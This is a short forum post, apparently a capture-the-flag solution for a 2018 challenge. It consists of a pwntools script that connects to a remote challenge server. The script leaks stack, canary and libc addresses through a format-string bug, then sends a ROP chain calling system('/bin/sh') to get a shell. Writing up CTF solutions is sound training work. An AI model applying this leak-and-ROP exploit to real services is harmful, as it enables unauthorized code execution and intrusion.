-
-
ctf2018-第3题
-
发表于: 2018-6-20 19:52 2081
-
from pwn import * # context.log_level = 'debug' target_file = './wow' context.binary = target_file libc_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_path) # io = process(['./linux_server64']) # io = process([target_file]) io = remote('139.199.99.130', 65188) # log.info("process base: " + hex(io.libs()[os.path.abspath(target_file)])) # log.info("process libc_base: " + hex(io.libs()[libc_path])) def test(): io.send('evXnaK') io.recvuntil('wow!\n') io.send('%1$lx\n%13$lx\n%15$lx\n') stack_addr = int(str(io.recvline()).strip(), 16) cookie = int(str(io.recvline()).strip(), 16) libc_addr = int(str(io.recvline()).strip(), 16) print('stack_addr: %s' % hex(stack_addr)) print('cookie: %s' % hex(cookie)) print('libc_addr: %s' % hex(libc_addr)) libc_base = libc_addr - 0x20830 print('libc_base: %s' % hex(libc_base)) buf = '' buf += '1'*32 buf += p64(0) * 7 buf += p64(cookie) buf += p64(0) buf += p64(libc_base + libc.search(asm('pop rdi;ret')).next()) buf += p64(libc_base + libc.search('/bin/sh\x00').next()) buf += p64(libc_base + libc.symbols['system']) io.send(buf) io.interactive() return test()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- KCTF2022春季赛 第三题 石像病毒 8856
- KCTF2022春季赛 第二题 末日邀请 16176
- KCTF2021秋季赛 第二题 迷失丛林 18804
- KCTF2020秋季赛 第十题 终焉之战 8862
- KCTF2020秋季赛 第九题 命悬一线 6462
看原图
赞赏
雪币:
留言: